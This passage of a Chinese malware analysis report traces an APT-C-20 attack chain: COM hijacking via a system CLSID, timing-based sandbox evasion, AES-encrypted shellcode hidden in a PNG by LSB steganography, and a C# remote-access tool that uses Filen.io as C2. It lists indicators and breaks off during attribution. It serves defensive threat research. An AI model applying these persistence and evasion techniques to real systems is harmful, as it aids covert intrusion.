data-ratio="0.31513409961685823" data-w="1044" style="width: 553.74px;height: 174.47px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9499e948&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKfeibhSflpESK1CY4VKmrbE6bice9ueGVUhCzw1A6cvibqNyHU9mpu6qvNF5FUQ34MBpKQMibUXSs13DuEl1KXiahYREp2ib6jukuSc%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">由于{</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">68DDBB56-9D1D-4FD9-89C5-C0DA2A625392}是系统内置的 COM类，为UnexpectedShutdownReason（意外关机原因）对象，经常被explorer进程进行实例化。如果通过COM劫持将正常系统组件劫持到</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">dnxstore.dll模块后，</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">一旦explorer进程实例化该COM类，就会加载</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">dnxstore.dll模块。所以该模块通过当前进程路径是否是explorer.exe来判断程序是否处于调试状态。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">如果当前进程路径为regsvr32.exe，这是一个非预期的场景，说明程序可能处于调试环境，则提前退出。如果当前进程是explorer.exe，是一个预期的场景，则执行后续功能。</span></p><p style="text-align:center;text-indent:10.5pt;mso-char-indent-count:1.0;mso-char-indent-size:10.5;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.33363886342804766" data-w="1091" style="width:553.739990234375px;height:184.739990234375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b39cef2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJaNoJlgNd3R1iadYZKMOWK5QPBgqRPvdkTZHlW91IxBlrJY1bOHeo6WT9c8SMvOAOyJA0LAskfAhy9sAKlaaI53P4GA3GQ4E5M%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">接着，程序通过时间间隔来检测是否处于沙箱环境，分别取两次时间戳，在两次时间戳之间休眠5000ms，如果处于沙箱环境，会劫持Sleep函数，缩短休眠时间，如果两次时间戳的差小于4900ms说明在沙箱环境中。</span><o:page></o:page></p><p style="text-align:center;text-indent:10.5pt;mso-char-indent-count:1.0;mso-char-indent-size:10.5;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2076271186440678" data-w="708" style="width:553.739990234375px;height:114.94000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0619946a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIP579FNfOP8RCWyHcn1SDTa3bicFojbF3SlSjYAnqVdf9LKEYoPq5uLbq303Xw1YmuGaeOKibCkbMWS8tw2QrgQXVib9iaPbjqZ0Q%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: left;text-indent: 2em;" data-pm-slice="2 2 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">此后获取%programdata%\\Microsoft\\DeviceSync\\EdgeSync\\EdgeLogo.png文件路径，该png文件打开正常显示edge图标，以迷惑用户。</span></p><p style="text-align: center;text-indent: 0px;" data-pm-slice="2 2 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2723440134907251" data-w="1186" style="width: 525.86px;height: 143.21px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6ac51df6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKp3gLJVnVzaBaxHXrhzaRvfXjN5u4trdvsGT76Fhyd7v6Q9oKyDMVuwbaHzAR1EkCAxicqon7lNs3LXkawNLhhToYiaJzNbfQXo%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.686046511627907" data-s="300,640" data-type="png" data-w="516" type="block" data-imgfileid="100025074" src="https://wechat2rss.xlab.app/img-proxy/?k=1ba0a9c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLYrAgUIlExkiaNJAPNBVJlpCNwWgOj7M9ZZibB5GbrIpEPHPDEKa0Ho9wZlq0DXtJOIgYtQCQTJqVMn7VWZbibSokLbBe7NQwA3g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">然后基于内置原始密钥种子(“838645f4bab7458fb130c7120a500982”)，通过PBKDF2算法派生AES-256密钥，然后加载目标PNG图像并转换为RGBA格式提取像素流。</span><o:page></o:page></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7420867526377491" data-w="853" style="width:499.3499755859375px;height:370.6400146484375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2e3e5257&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXImdCico4uAEvcaia64SQU7zBT1vMxsMF6kOiahEJj9YIxbibhrTzavib9Astm0zUcu4twbjHURLSGtf3K9rds4icqOJZfV1JjVIeT0U%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.24159231297185998" data-w="1457" style="width:553.739990234375px;height:133.65997314453125px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5ef71cd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIVswVl1avp0u6XWoKCiabjEZiac01icZmM75Lia5HByyQDwtRTkzqWPlj7RTmGD7ia5PCt7V9rDhAk7bRMjPQEgkoR0d3cJoSOaUEI%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">接着使用LSB模式从像素流中提取Salt和IV参数，之后利用派生的AES密钥解密图像中隐藏的64字节头部数据，解析出核心载荷的提取模式、像素偏移和大小等元信息，最后根据元信息从像素流中提取核心加密载荷并解密，并最终内存执行该shellcode，其功能是内存反射加载自身携带的攻击载荷。</span><o:page></o:page></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7462311557788944" data-w="796" style="width: 449.2px;height: 335.2px;" src="https://wechat2rss.xlab.app/img-proxy/?k=607634cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXILtjc7pGE7sTyiaeic8XQRusbrjRa9o5AxjG7hmfnDrnqte5iaSMvcC9VEiaBBjT8MZRNAMpvRibiaBvkxz8uBwNsPPBKYy3ubfB5fk%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最终载荷信息如下，这是一个C<a class="wx_topic_link" topic-id="mqtc3x1y-8k0g6s" style="color: #576B95 !important;" data-topic="1" data-recommend="">#编写的</a>，使用合法的云存储服务(Filen.io)作为C2服务器的远控程序。</span></p><table style="width:565px;"><tbody><tr><td data-colwidth="133" style="border-color:#000000;"><p><span leaf="">MD5</span></p></td><td data-colwidth="432" style="border-color:#000000;"><p><span leaf="">d416eca59188474efa3408827578588b</span></p></td></tr><tr><td data-colwidth="133" style="border-color:#000000;"><p><span leaf="">文件类型</span></p></td><td data-colwidth="432" style="border-color:#000000;"><p><span leaf="">Publish.exe</span></p></td></tr><tr><td data-colwidth="133" style="border-color:#000000;"><p><span leaf="">文件大小</span></p></td><td data-colwidth="432" style="border-color:#000000;"><p><span leaf="">68.0 KB (69,633 字节)</span></p></td></tr></tbody></table><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Publish.exe经过高度的函数名和变量名混淆，当程序执行后，首先会初始化AES上下文，然后构造上线数据报文，数据报文格式如下：</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.40480961923847697" data-s="300,640" data-type="png" data-w="1497" style="width: 474.274px;height: 189.14px;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/Emmib7pWXrXLYNMKNJXRKTQB3zCKJEUujJP8mPmFa3icINYKkWU4dV04QUox8UXr2gTFum3PzVEngqsvN7JxBsSGSj5fmDc1pZ3VqTQkq1zWs/0?wx_fmt=png&amp;from=appmsg" data-cropselx1="0" data-cropselx2="474" data-cropsely1="0" data-cropsely2="190" data-imgfileid="100025075" src="https://wechat2rss.xlab.app/img-proxy/?k=86d9800d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLYNMKNJXRKTQB3zCKJEUujJP8mPmFa3icINYKkWU4dV04QUox8UXr2gTFum3PzVEngqsvN7JxBsSGSj5fmDc1pZ3VqTQkq1zWs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">将&#34;GUID&#34;（基于DomainName和Username生成）&#34;,&#34;Type&#34;,&#34;Meta&#34;，&#34;IV&#34;，&#34;EncryptedMessage&#34;，&#34;HMAC&#34;这些数据进行json格式化后，调用Y9TXNKJ58A.WBX20AQDGG函数进行XOR+BASE64加密。</span><o:page></o:page></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3177083333333333" data-w="576" style="width: 576.01px;height: 183.4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a0b7237d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXISIJpQh7Gsd1gianQ8vbZX7u3QmQEQ9LP3EAYx3VnfFOqkibTFPbNGGnoGOjeMWknfSBjjqiafibTqXELcpLZZ6xt4qJZiaxYNLTEM%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">初始化Filen.io云存储服务API，该程序内置了多个网关节点(</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">gateway.filen.io,</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">gateway.filen.net</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">)，确保单节点即使出现失效、限流、宕机这些情况，恶意软件仍能通过其他节点保持通信。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6239476145930777" data-w="1069" style="width: 404.07px;height: 252.09px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f305e37e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJTQkzXQBnycCnA5OSk9qxzDZLX5shrYBQhic6C5UELZZbAuZbbAE7lqrjOKaZwOzuwC0Q3AMWxstAh2uibQsrwqynNso416c9yw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">将加密之后的上线报文发送给服务端。</span></p><p style="text-align:center;"><span style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.20916334661354583" data-w="502" style="width:502.15997314453125px;height:105.4000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f7aa9723&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKo0Fnic5bicp6hfS8MZjgSI5MVADsI12d7QxF8kPNdI0DLiatbge4bUKibsV4M06jrRGkHNBrjnGS9AyDokWsF4PdkpJJRd0LAh8U%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">轮询读取服务端返回的消息，</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.4675196850393701" style="width: 553.74px;height: 258.87px;" data-w="1016" src="https://wechat2rss.xlab.app/img-proxy/?k=333be637&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIT5ahEWcm9WFOKZCrgqwvL8u1atSW2V1r55W0VAuHXelvYlVtibqlpt6qUsnQb9p710ziaL49Tc0TUsnKYVHhcucRh1huT2Dpsg%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">然后经过密钥协商，二次握手确认之后，接收最终需要执行的载荷，并通过内存反射加载后续的攻击载荷。</span></p><p style="margin-left:15.75pt;mso-para-margin-left:0.5gd;text-indent:-10.5pt;mso-char-indent-count:-1.0;mso-char-indent-size:10.5;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.6673490276356192" style="width:553.739990234375px;height:369.5400085449219px;" data-w="977" src="https://wechat2rss.xlab.app/img-proxy/?k=3706b222&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJ5iaVUIj1n1uUjBia8Dl0sxalByPvZ3Rq7K0JxnwwaEcD1gDXYIZwDKZuicdVaDkcesFILB4iaW3BMYXCAJ3vvceibmc7q8DoD95Ak%2F640%3Fwx_fmt%3Dpng"/></span></span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">三、归属研判</span></span></strong></p></div></div></div></div></div><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过对本次攻击事件的详细分析，综合初始载荷的执行入口设计、关键技战术要素及完整攻击链条特征判断，该样本在整体作战思路与工程实现层面与</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">APT-C-20</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">历史活动高度一致，具体表现如下：</span><o:page></o:page></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">1.宏代码在攻击思路与核心技术与以前方式</span><sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">[1]</span></sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">上高度一致，均通过VBA宏释放恶意DLL，并利用COM劫持实现持久化。两者都会修改注册表项，使Explorer或相关COM组件加载恶意DLL。此外，两者均具备环境检测（win32、win64）、字符串混淆、隐藏文件写入以及Shape对象隐藏数据等特征。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2.Dll被加载起来时通过检测宿主禁止是否为explorer.exe，以达到进程伪装目的。同时读取经过隐写术的png图片文件，并从中解密出shellcode执行。整个流程与文章</span><sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">[2]</span></sup><span leaf="" 